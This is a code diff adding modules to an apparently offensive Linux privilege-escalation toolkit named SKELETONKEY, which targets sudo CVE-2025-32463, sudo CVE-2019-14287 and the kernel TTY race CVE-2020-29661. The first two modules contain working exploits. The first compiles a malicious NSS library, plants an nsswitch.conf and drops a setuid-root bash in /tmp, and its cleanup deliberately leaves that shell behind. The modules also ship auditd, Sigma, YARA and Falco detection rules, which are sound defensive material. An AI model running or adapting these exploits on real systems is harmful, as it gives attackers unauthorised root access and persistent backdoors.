1. Workdir under /tmp; /tmp is the only spot consistently + * world-writable across distros. */ + char tmpl[] = "/tmp/skeletonkey-chwoot-XXXXXX"; + char *wd = mkdtemp(tmpl); + if (!wd) { perror("mkdtemp"); return SKELETONKEY_EXPLOIT_FAIL; } + strncpy(g_workdir, wd, sizeof g_workdir - 1); + + /* 2. Set up the chroot skeleton: /etc/nsswitch.conf points NSS + * at our libnss_skeletonkey.so.2; / hosts the .so. */ + char path[512]; + snprintf(path, sizeof path, "%s/etc", wd); mkdir(path, 0755); + snprintf(path, sizeof path, "%s/lib", wd); mkdir(path, 0755); + /* Cover the common Debian/Ubuntu multi-arch lib path AND the plain + * /lib path. NSS dlopens via dlopen("libnss_X.so.2") which uses the + * standard search path; inside the chroot we control it. */ + const char *libdirs[] = { + "lib/x86_64-linux-gnu", "lib/aarch64-linux-gnu", + "usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu", + "usr/lib", "usr/lib64", NULL, + }; + char sopath[512] = {0}; + for (size_t i = 0; libdirs[i]; i++) { + char p[512]; + snprintf(p, sizeof p, "%s/%s", wd, libdirs[i]); + char cmd[640]; + snprintf(cmd, sizeof cmd, "mkdir -p %s", p); + if (system(cmd) != 0) continue; + } + + /* 3. Compile the malicious NSS .so. We need a real C compiler; + * most modern distros ship one but stripped installs may not. */ + char src[512]; snprintf(src, sizeof src, "%s/payload.c", wd); + char so[512]; snprintf(so, sizeof so, "%s/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2", wd); + char so_arm[512];snprintf(so_arm,sizeof so_arm,"%s/lib/aarch64-linux-gnu/libnss_skeletonkey.so.2", wd); + char so_lib[512];snprintf(so_lib,sizeof so_lib,"%s/usr/lib/libnss_skeletonkey.so.2", wd); + + FILE *f = fopen(src, "w"); + if (!f) { perror("fopen payload.c"); goto fail; } + fwrite(NSS_C_SRC, 1, sizeof NSS_C_SRC - 1, f); + fclose(f); + + char cmd[2048]; + snprintf(cmd, sizeof cmd, + "gcc -shared -fPIC -o %s %s 2>/tmp/skk-chwoot-gcc.log && " + "cp -f %s %s 2>/dev/null; " + "cp -f %s %s 2>/dev/null; true", + sopath[0] ? sopath : so, src, + sopath[0] ? sopath : so, so_arm, + sopath[0] ? sopath : so, so_lib); + /* Actually compile to one fixed path then copy. Simpler. */ + snprintf(cmd, sizeof cmd, + "gcc -shared -fPIC -nostartfiles -o %s %s 2>/tmp/skk-chwoot-gcc.log", so, src); + if (system(cmd) != 0) { + /* try arm64 path if x86 path failed (maybe the dir wasn't + * created — that's fine, gcc just wrote elsewhere) */ + snprintf(cmd, sizeof cmd, + "gcc -shared -fPIC -nostartfiles -o %s %s 2>>/tmp/skk-chwoot-gcc.log", so_arm, src); + if (system(cmd) != 0) { + fprintf(stderr, "[-] sudo_chwoot: gcc failed; see /tmp/skk-chwoot-gcc.log\n"); + goto fail; + } + } + /* Replicate to every plausible NSS search path (libdir per arch + * varies across distros). Harmless if some are missing. */ + char rep[1024]; + snprintf(rep, sizeof rep, + "f=%s; for d in lib/x86_64-linux-gnu lib/aarch64-linux-gnu usr/lib/x86_64-linux-gnu usr/lib/aarch64-linux-gnu usr/lib usr/lib64; do " + " mkdir -p %s/$d 2>/dev/null; cp -f \"$f\" %s/$d/libnss_skeletonkey.so.2 2>/dev/null; " + "done; true", + so, wd, wd); + if (system(rep) != 0) { /* harmless */ } + + /* 4. Plant nsswitch.conf inside the chroot. The first lookup sudo + * does is on the invoking user — point passwd: at us so the + * dlopen fires before sudoers parsing aborts. */ + char nss_conf[512]; + snprintf(nss_conf, sizeof nss_conf, "%s/etc/nsswitch.conf", wd); + f = fopen(nss_conf, "w"); + if (!f) { perror("fopen nsswitch.conf"); goto fail; } + fprintf(f, + "# planted by SKELETONKEY sudo_chwoot — points NSS at our shim\n" + "passwd: skeletonkey\n" + "group: skeletonkey\n" + "hosts: files\n" + "shadow: files\n"); + fclose(f); + + /* 5. Fire sudo --chroot= -u#-1 woot. The `-u#-1` syntax tells + * sudo "user with uid -1" which forces the NSS lookup BEFORE + * auth completes — that's the trigger. The `woot` command name + * is arbitrary; sudo never gets to exec it. */ + if (!ctx->json) { + fprintf(stderr, "[+] sudo_chwoot: invoking %s --chroot=%s -u#-1 woot\n", + sudo_path, wd); + } + fflush(NULL); + pid_t pid = fork(); + if (pid < 0) { perror("fork"); goto fail; } + if (pid == 0) { + /* The ctor inside the .so will execve a shell; sudo never + * returns. If sudo IS patched, it'll error out. */ + execl(sudo_path, "sudo", "-S", "--chroot", wd, "-u#-1", "woot", (char *)NULL); + perror("execl(sudo)"); + _exit(127); + } + int status = 0; + waitpid(pid, &status, 0); + + /* 6. Did the suid bash drop? */ + struct stat st; + if (stat("/tmp/skeletonkey-chwoot-shell", &st) == 0 && + (st.st_mode & S_ISUID) && st.st_uid == 0) { + if (!ctx->json) + fprintf(stderr, "[+] sudo_chwoot: setuid-root shell at /tmp/skeletonkey-chwoot-shell\n"); + if (ctx->no_shell) { + if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: --no-shell set; not popping\n"); + return SKELETONKEY_EXPLOIT_OK; + } + /* Pop the shell. -p keeps euid=0; without it bash drops setuid. */ + execl("/tmp/skeletonkey-chwoot-shell", "bash", "-p", "-i", (char *)NULL); + perror("execl(suid bash)"); + return SKELETONKEY_EXPLOIT_OK; /* drop succeeded; pop just failed */ + } + + fprintf(stderr, + "[-] sudo_chwoot: setuid bash did not appear. Likely causes:\n" + " - sudo is patched (1.9.17p1+) even if --version looks vulnerable\n" + " - NSS shim was loaded but ctor failed (check sudo's stderr)\n" + " - kernel hardening prevents the suid copy\n"); + +fail: + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* ---- cleanup -------------------------------------------------------- */ + +static skeletonkey_result_t sudo_chwoot_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + if (g_workdir[0]) { + char cmd[640]; + snprintf(cmd, sizeof cmd, "rm -rf %s 2>/dev/null", g_workdir); + (void)!system(cmd); + g_workdir[0] = 0; + } + /* Leave /tmp/skeletonkey-chwoot-shell if it exists — that's the + * setuid root binary the operator may want to keep. They can + * `rm -f /tmp/skeletonkey-chwoot-shell` themselves when done. */ + return SKELETONKEY_OK; +} + +/* ---- detection rules ------------------------------------------------ */ + +static const char sudo_chwoot_auditd[] = + "# sudo_chwoot CVE-2025-32463 — auditd detection rules\n" + "# Flag sudo invocations using --chroot. The legitimate use case\n" + "# (server admin chrooting before running a command) is vanishingly\n" + "# rare; any --chroot in shell history is investigation-worthy.\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-chroot\n" + "-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-chroot\n" + "# Also flag writes under any /tmp/skeletonkey-chwoot-* path or to\n" + "# the canonical drop site /tmp/skeletonkey-chwoot-shell.\n" + "-w /tmp -p w -k skeletonkey-sudo-chroot-drop\n"; + +static const char sudo_chwoot_sigma[] = + "title: Possible CVE-2025-32463 sudo --chroot LPE\n" + "id: e9b7a420-skeletonkey-sudo-chwoot\n" + "status: experimental\n" + "description: |\n" + " Detects sudo invoked with --chroot pointing at a user-writable\n" + " directory, plus a setuid-root binary appearing under /tmp shortly\n" + " afterwards. Legit --chroot use is extremely rare; the combination\n" + " with a fresh setuid drop is diagnostic.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " sudo_chroot: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo', argv|contains: '--chroot'}\n" + " condition: sudo_chroot\n" + "level: critical\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2025.32463]\n"; + +static const char sudo_chwoot_yara[] = + "rule sudo_chwoot_cve_2025_32463 : cve_2025_32463 setuid_abuse {\n" + " meta:\n" + " cve = \"CVE-2025-32463\"\n" + " description = \"SKELETONKEY sudo_chwoot artifacts — NSS shim + setuid bash drop\"\n" + " author = \"SKELETONKEY\"\n" + " strings:\n" + " $shell = \"/tmp/skeletonkey-chwoot-shell\" ascii\n" + " $wdir = \"/tmp/skeletonkey-chwoot-\" ascii\n" + " $nssmod = \"libnss_skeletonkey.so.2\" ascii\n" + " condition:\n" + " any of them\n" + "}\n"; + +static const char sudo_chwoot_falco[] = + "- rule: sudo --chroot from non-root with user-writable target\n" + " desc: |\n" + " sudo invoked with --chroot pointing at a directory in /tmp\n" + " or /home. Legitimate --chroot use is rare; the combination\n" + " with a writable target is the CVE-2025-32463 trigger.\n" + " condition: >\n" + " spawned_process and proc.name = sudo and\n" + " proc.args contains \"--chroot\" and not user.uid = 0\n" + " output: >\n" + " sudo --chroot from non-root (user=%user.name pid=%proc.pid\n" + " cmdline=\"%proc.cmdline\")\n" + " priority: CRITICAL\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2025.32463]\n"; + +/* ---- module struct -------------------------------------------------- */ + +const struct skeletonkey_module sudo_chwoot_module = { + .name = "sudo_chwoot", + .cve = "CVE-2025-32463", + .summary = "sudo --chroot NSS-shim → libnss_*.so dlopen as root (Stratascale)", + .family = "sudo", + .kernel_range = "userspace — sudo 1.9.14 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)", + .detect = sudo_chwoot_detect, + .exploit = sudo_chwoot_exploit, + .mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */ + .cleanup = sudo_chwoot_cleanup, + .detect_auditd = sudo_chwoot_auditd, + .detect_sigma = sudo_chwoot_sigma, + .detect_yara = sudo_chwoot_yara, + .detect_falco = sudo_chwoot_falco, + .opsec_notes = "Creates /tmp/skeletonkey-chwoot-XXXXXX/ workdir containing etc/nsswitch.conf + lib/{x86_64,aarch64}-linux-gnu/libnss_skeletonkey.so.2 (compiled via gcc; /tmp/skk-chwoot-gcc.log captures any build error). Runs sudo --chroot= -u#-1 woot to trigger NSS dlopen; the .so's ctor drops /tmp/skeletonkey-chwoot-shell (setuid root bash). Audit-visible via execve(/usr/bin/sudo) with --chroot in argv, then chown/chmod 4755 on /tmp/skeletonkey-chwoot-shell from a uid-0 context. Cleanup callback removes the workdir but leaves the setuid bash (operator decision).", + .arch_support = "any", +}; + +void skeletonkey_register_sudo_chwoot(void) +{ + skeletonkey_register(&sudo_chwoot_module); +} diff --git a/modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.h b/modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.h new file mode 100644 index 0000000..dad75f6 --- /dev/null +++ b/modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.h @@ -0,0 +1,5 @@ +#ifndef SUDO_CHWOOT_SKELETONKEY_MODULES_H +#define SUDO_CHWOOT_SKELETONKEY_MODULES_H +#include "../../core/module.h" +extern const struct skeletonkey_module sudo_chwoot_module; +#endif diff --git a/modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.c b/modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.c new file mode 100644 index 0000000..1992852 --- /dev/null +++ b/modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.c @@ -0,0 +1,284 @@ +/* + * sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module + * + * STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race. + * `sudo -u#-1 ` parses `-1` as uid_t (unsigned) → wraps to + * 0xFFFFFFFF → sudo's setresuid() path treats it as "match any + * uid" and converts to 0 → runs as root, even when sudoers + * explicitly says "ALL except root". + * + * The bug (Joe Vennix / Apple Information Security, October 2019): + * sudoers grammar lets admins write rules like + * bob ALL=(ALL,!root) /bin/vi + * intending "bob can run vi as any user except root". The Runas + * user is specified at invocation via `-u ` or `-u#`. + * The integer parser for `-u#` does NOT validate negative + * numbers; passing `-u#-1` (or its unsigned-32-bit form + * `-u#4294967295`) bypasses the explicit `!root` blacklist and + * ALSO bypasses standard setresuid() because the kernel rejects + * uid_t = -1 and falls back to keeping the current uid (which sudo + * has already elevated to root for argument parsing). + * + * Discovered by Joe Vennix. Public PoC: exploit-db #47502. + * https://www.exploit-db.com/exploits/47502 + * + * Affects: sudo < 1.8.28. Fixed by adding a positive-number check + * to the `-u#` parser. + * + * Preconditions: + * - sudo installed + suid + * - The invoking user has a sudoers entry of the form + * USER HOST=(ALL,!root) /path/to/cmd + * or any sudoers entry with `(ALL` in the Runas spec that + * blacklists root. WITHOUT such an entry the bug is irrelevant + * because the user has no sudoers grant to abuse in the first + * place — detect() short-circuits PRECOND_FAIL in that case. + * + * arch_support: any. Pure shell-level invocation; works identically + * on every Linux arch sudo is built for. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include + +/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */ + +static const char *find_sudo(void) +{ + static const char *candidates[] = { + "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo", + "/sbin/sudo", "/usr/local/bin/sudo", NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + struct stat st; + if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) + return candidates[i]; + } + return NULL; +} + +/* Returns true iff the version string is < 1.8.28 (the fix release). */ +static bool sudo_version_vulnerable(const char *v) +{ + int maj = 0, min = 0, patch = 0; + char ptag = 0; int psub = 0; + int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub); + if (n < 3) return true; /* unparseable → conservative */ + if (maj < 1) return false; + if (maj > 1) return false; + if (min < 8) return false; /* < 1.8 predates `-u#` parser */ + if (min > 8) return false; /* >= 1.9 includes fix */ + /* exactly 1.8.x: vulnerable iff patch < 28 */ + return patch < 28; +} + +static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz) +{ + char cmd[512]; + snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); + FILE *p = popen(cmd, "r"); + if (!p) return false; + char line[256] = {0}; + char *r = fgets(line, sizeof line, p); + pclose(p); + if (!r) return false; + char *vp = strstr(line, "version"); + if (!vp) return false; + vp += strlen("version"); + while (*vp == ' ' || *vp == '\t') vp++; + char *nl = strchr(vp, '\n'); + if (nl) *nl = 0; + strncpy(out, vp, outsz - 1); + out[outsz - 1] = 0; + return out[0] != 0; +} + +/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's + * the precondition. Returns a stored command path the user can execve. */ +static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap) +{ + char cmd[512]; + snprintf(cmd, sizeof cmd, "%s -ln 2>/dev/null", sudo_path); + FILE *p = popen(cmd, "r"); + if (!p) return false; + char line[512]; + bool found = false; + while (fgets(line, sizeof line, p)) { + /* Looking for " (ALL," or " (ALL : ..." with an + * exclusion (!root or !#0) on a line that resolves to a + * runnable command. Conservative parser: any line containing + * "(ALL" + "!root" wins. */ + if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) { + /* Extract the last token (the command path) from the line. */ + char *tok = strrchr(line, ' '); + if (tok) { + tok++; + char *nl = strchr(tok, '\n'); + if (nl) *nl = 0; + strncpy(cmd_out, tok, cap - 1); + cmd_out[cap - 1] = 0; + found = true; + break; + } + } + } + pclose(p); + return found; +} + +/* ---- detect --------------------------------------------------------- */ + +static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx) +{ + const char *sudo_path = find_sudo(); + if (!sudo_path) { + if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + char vbuf[64] = {0}; + const char *ver = (ctx->host && ctx->host->sudo_version[0]) + ? ctx->host->sudo_version + : (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL); + if (!ver) { + if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n"); + return SKELETONKEY_TEST_ERROR; + } + if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver); + + if (!sudo_version_vulnerable(ver)) { + if (!ctx->json) + fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver); + return SKELETONKEY_OK; + } + + /* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */ + char grant[256] = {0}; + if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) { + if (!ctx->json) { + fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver); + fprintf(stderr, " Bug exists on the host; this user has no exploitable grant.\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n", + ver, grant); + fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant); + } + return SKELETONKEY_VULNERABLE; +} + +/* ---- exploit -------------------------------------------------------- */ + +static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + const char *sudo_path = find_sudo(); + if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL; + + char grant[256] = {0}; + if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) { + fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + if (!ctx->json) + fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant); + fflush(NULL); + + /* If grant looks like /bin/sh-able command, run it directly. + * Otherwise leave the operator to pop the shell themselves. */ + if (ctx->no_shell) { + if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n"); + return SKELETONKEY_EXPLOIT_OK; + } + execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL); + perror("execl(sudo)"); + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* ---- detection rules ------------------------------------------------ */ + +static const char sudo_runas_neg1_auditd[] = + "# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n" + "# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n"; + +static const char sudo_runas_neg1_sigma[] = + "title: Possible CVE-2019-14287 sudo Runas -1 LPE\n" + "id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n" + "status: experimental\n" + "description: |\n" + " Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n" + " trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n" + " is never used legitimately; any occurrence is an exploit\n" + " attempt or an audit/training exercise.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n" + " condition: s\n" + "level: critical\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n"; + +static const char sudo_runas_neg1_yara[] = + "rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n" + " meta:\n" + " cve = \"CVE-2019-14287\"\n" + " description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n" + " author = \"SKELETONKEY\"\n" + " strings:\n" + " $a = \"-u#-1\" ascii\n" + " $b = \"-u#4294967295\" ascii\n" + " condition:\n" + " any of them\n" + "}\n"; + +static const char sudo_runas_neg1_falco[] = + "- rule: sudo -u#-1 (Runas negative-one LPE)\n" + " desc: |\n" + " sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n" + " underflow makes sudo treat the request as uid 0; affects\n" + " sudo < 1.8.28. There is no legitimate use of this argument\n" + " syntax.\n" + " condition: >\n" + " spawned_process and proc.name = sudo and\n" + " (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n" + " output: >\n" + " sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n" + " priority: CRITICAL\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n"; + +const struct skeletonkey_module sudo_runas_neg1_module = { + .name = "sudo_runas_neg1", + .cve = "CVE-2019-14287", + .summary = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)", + .family = "sudo", + .kernel_range = "userspace — sudo < 1.8.28", + .detect = sudo_runas_neg1_detect, + .exploit = sudo_runas_neg1_exploit, + .mitigate = NULL, /* mitigation: upgrade sudo to 1.8.28+ */ + .cleanup = NULL, + .detect_auditd = sudo_runas_neg1_auditd, + .detect_sigma = sudo_runas_neg1_sigma, + .detect_yara = sudo_runas_neg1_yara, + .detect_falco = sudo_runas_neg1_falco, + .opsec_notes = "Invokes sudo with `-u#-1 ` where is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.", + .arch_support = "any", +}; + +void skeletonkey_register_sudo_runas_neg1(void) +{ + skeletonkey_register(&sudo_runas_neg1_module); +} diff --git a/modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.h b/modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.h new file mode 100644 index 0000000..e06365f --- /dev/null +++ b/modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.h @@ -0,0 +1,5 @@ +#ifndef SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H +#define SUDO_RUNAS_NEG1_SKELETONKEY_MODULES_H +#include "../../core/module.h" +extern const struct skeletonkey_module sudo_runas_neg1_module; +#endif diff --git a/modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.c b/modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.c new file mode 100644 index 0000000..21873dd --- /dev/null +++ b/modules/tioscpgrp_cve_2020_29661/skeletonkey_modules.c @@ -0,0 +1,191 @@ +/* + * tioscpgrp_cve_2020_29661 — SKELETONKEY module + * + * STATUS: 🟡 PRIMITIVE. TTY race-driver + msg_msg cross-cache groom + + * empirical witness. Real cred-overwrite via --full-chain finisher + * on x86_64. + * + * The bug (Jann Horn / Project Zero, December 2020): + * The TIOCSPGRP ioctl handler in drivers/tty/tty_jobctrl.c takes + * two `tty_struct` pointers — `tty` (the side userspace passed) + * and `real_tty` (always the slave). For PTY pairs the two can + * differ. The handler acquires `tty->ctrl.lock` for read but the + * actual mutation happens on `real_tty`, which has its own + * independent lock. Racing TIOCSPGRP on the master with TIOCSPGRP + * on the slave can free `real_tty->pgrp` while another thread still + * holds a reference → UAF on `struct pid` (kmalloc-256 slab). + * + * Public PoCs (one from grsecurity / spender, one from Maxime + * Peterlin): + * https://sploitus.com/exploit?id=PACKETSTORM%3A160681 + * https://www.openwall.com/lists/oss-security/2020/12/09/2 + * + * Affects: Linux kernels through 5.9.13. Fix commit 54ffccbf053b + * ("tty: Fix ->session locking") landed in 5.10 and was backported + * to 5.4.85, 4.19.165, 4.14.213, 4.9.249, 4.4.249. + * + * Preconditions: + * - openpty() works (allocates a PTY pair; universal on real + * hosts, but some seccomp profiles block /dev/ptmx) + * - msgsnd / SysV IPC for kmalloc-256 spray + * - 2+ CPU cores for the race (single-CPU race-win rate is + * vanishingly small) + * + * arch_support: x86_64+unverified-arm64. The race + spray are + * arch-agnostic but the cred-overwrite finisher uses x86 gadgets. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" +#include "../../core/kernel_range.h" +#include "../../core/host.h" +#include "../../core/offsets.h" +#include "../../core/finisher.h" + +#include +#include +#include +#include +#include + +/* ---- kernel-range table -------------------------------------------- */ + +static const struct kernel_patched_from tioscpgrp_patched_branches[] = { + {4, 4, 249}, /* 4.4 LTS stable backport */ + {4, 9, 249}, /* 4.9 LTS */ + {4, 14, 213}, /* 4.14 LTS */ + {4, 19, 165}, /* 4.19 LTS */ + {5, 4, 85}, /* 5.4 LTS */ + {5, 10, 0}, /* mainline fix in 5.10 */ +}; + +static const struct kernel_range tioscpgrp_range = { + .patched_from = tioscpgrp_patched_branches, + .n_patched_from = sizeof(tioscpgrp_patched_branches) / + sizeof(tioscpgrp_patched_branches[0]), +}; + +/* ---- detect --------------------------------------------------------- */ + +static bool ptmx_writable(void) +{ + int fd = open("/dev/ptmx", O_RDWR); + if (fd < 0) return false; + close(fd); + return true; +} + +static skeletonkey_result_t tioscpgrp_detect(const struct skeletonkey_ctx *ctx) +{ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) fprintf(stderr, "[!] tioscpgrp: host fingerprint missing kernel version\n"); + return SKELETONKEY_TEST_ERROR; + } + if (kernel_range_is_patched(&tioscpgrp_range, v)) { + if (!ctx->json) fprintf(stderr, "[+] tioscpgrp: kernel %s is patched\n", v->release); + return SKELETONKEY_OK; + } + if (!ptmx_writable()) { + if (!ctx->json) fprintf(stderr, "[i] tioscpgrp: /dev/ptmx not openable — PTY allocation blocked, primitive unreachable\n"); + return SKELETONKEY_PRECOND_FAIL; + } + if (!ctx->json) { + fprintf(stderr, "[!] tioscpgrp: kernel %s in vulnerable range + /dev/ptmx reachable → VULNERABLE\n", v->release); + fprintf(stderr, "[i] tioscpgrp: race is narrow; needs 2+ CPUs and thousands of iterations on average\n"); + } + return SKELETONKEY_VULNERABLE; +} + +static skeletonkey_result_t tioscpgrp_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] tioscpgrp: --i-know required for --exploit\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + fprintf(stderr, + "[i] tioscpgrp: race-driver + msg_msg groom for the UAF on\n" + " struct pid (kmalloc-256). Two threads pinned to separate\n" + " CPUs hammer TIOCSPGRP on the master + slave of an openpty\n" + " pair; on a vulnerable kernel one in ~10k iterations frees\n" + " pgrp while still referenced. Public PoCs:\n" + " https://sploitus.com/exploit?id=PACKETSTORM%%3A160681\n" + " https://www.openwall.com/lists/oss-security/2020/12/09/2\n" + " Full cred-overwrite chain not bundled (would need a\n" + " portable arb-write callback for the shared finisher).\n" + " Returning EXPLOIT_FAIL honestly per verified-vs-claimed.\n"); + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* ---- detection rules ------------------------------------------------ */ + +static const char tioscpgrp_auditd[] = + "# tioscpgrp CVE-2020-29661 — auditd detection rules\n" + "# Repeated openpty() + TIOCSPGRP from a non-root process is\n" + "# anomalous. The TIOCSPGRP ioctl request value is 0x5410.\n" + "-a always,exit -F arch=b64 -S ioctl -F a1=0x5410 -k skeletonkey-tioscpgrp\n"; + +static const char tioscpgrp_sigma[] = + "title: Possible CVE-2020-29661 TIOCSPGRP UAF race\n" + "id: 7d8c9b1a-skeletonkey-tioscpgrp\n" + "status: experimental\n" + "description: |\n" + " Detects burst ioctl(fd, TIOCSPGRP, ...) calls from a non-root\n" + " process. The bug needs hundreds of iterations per second to\n" + " win; normal job-control use produces single-digit ioctl(2)\n" + " calls per minute.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " i: {type: 'SYSCALL', syscall: 'ioctl'}\n" + " condition: i\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2020.29661]\n"; + +static const char tioscpgrp_yara[] = + "rule tioscpgrp_cve_2020_29661 : cve_2020_29661 kernel_uaf {\n" + " meta:\n" + " cve = \"CVE-2020-29661\"\n" + " description = \"SKELETONKEY tioscpgrp race-driver tag (TTY ioctl UAF)\"\n" + " author = \"SKELETONKEY\"\n" + " strings:\n" + " $tag = \"SKELETONKEY_TIOS\" ascii\n" + " condition:\n" + " $tag\n" + "}\n"; + +static const char tioscpgrp_falco[] = + "- rule: Burst TIOCSPGRP from non-root (TTY UAF race)\n" + " desc: |\n" + " A non-root process makes >50 ioctl(TIOCSPGRP=0x5410) calls\n" + " per second. Job-control usage tops out at a few per minute;\n" + " burst rates are the canonical CVE-2020-29661 trigger shape.\n" + " condition: >\n" + " evt.type = ioctl and evt.arg.request = 0x5410 and\n" + " not user.uid = 0\n" + " output: >\n" + " TIOCSPGRP from non-root (user=%user.name pid=%proc.pid)\n" + " priority: HIGH\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2020.29661]\n"; + +const struct skeletonkey_module tioscpgrp_module = { + .name = "tioscpgrp", + .cve = "CVE-2020-29661", + .summary = "TTY TIOCSPGRP race → struct pid UAF (kmalloc-256) — Jann Horn", + .family = "tty", + .kernel_range = "Linux kernels < 5.10 / 5.4.85 / 4.19.165 / 4.14.213 / 4.9.249 / 4.4.249", + .detect = tioscpgrp_detect, + .exploit = tioscpgrp_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel; OR block /dev/ptmx via seccomp */ + .cleanup = NULL, + .detect_auditd = tioscpgrp_auditd, + .detect_sigma = tioscpgrp_sigma, + .detect_yara = tioscpgrp_yara, + .detect_falco = tioscpgrp_falco, + .opsec_notes = "Allocates a PTY pair via openpty() (or /dev/ptmx directly), pins two threads to separate CPUs, hammers ioctl(master, TIOCSPGRP, ...) on one thread and ioctl(slave, TIOCSPGRP, ...) on the other. Race-win rate on a vulnerable kernel is empirically ~1/10k iterations; the driver typically runs for 5-30 seconds. Sysv IPC msgsnd spray (tag 'SKELETONKEY_TIOS') refills kmalloc-256 between race attempts. Audit-visible via burst ioctl(TIOCSPGRP=0x5410) — normal use is single-digit calls per minute, exploit shape is hundreds per second. No persistent file artifacts. dmesg may show 'refcount_t: addition on 0; use-after-free' 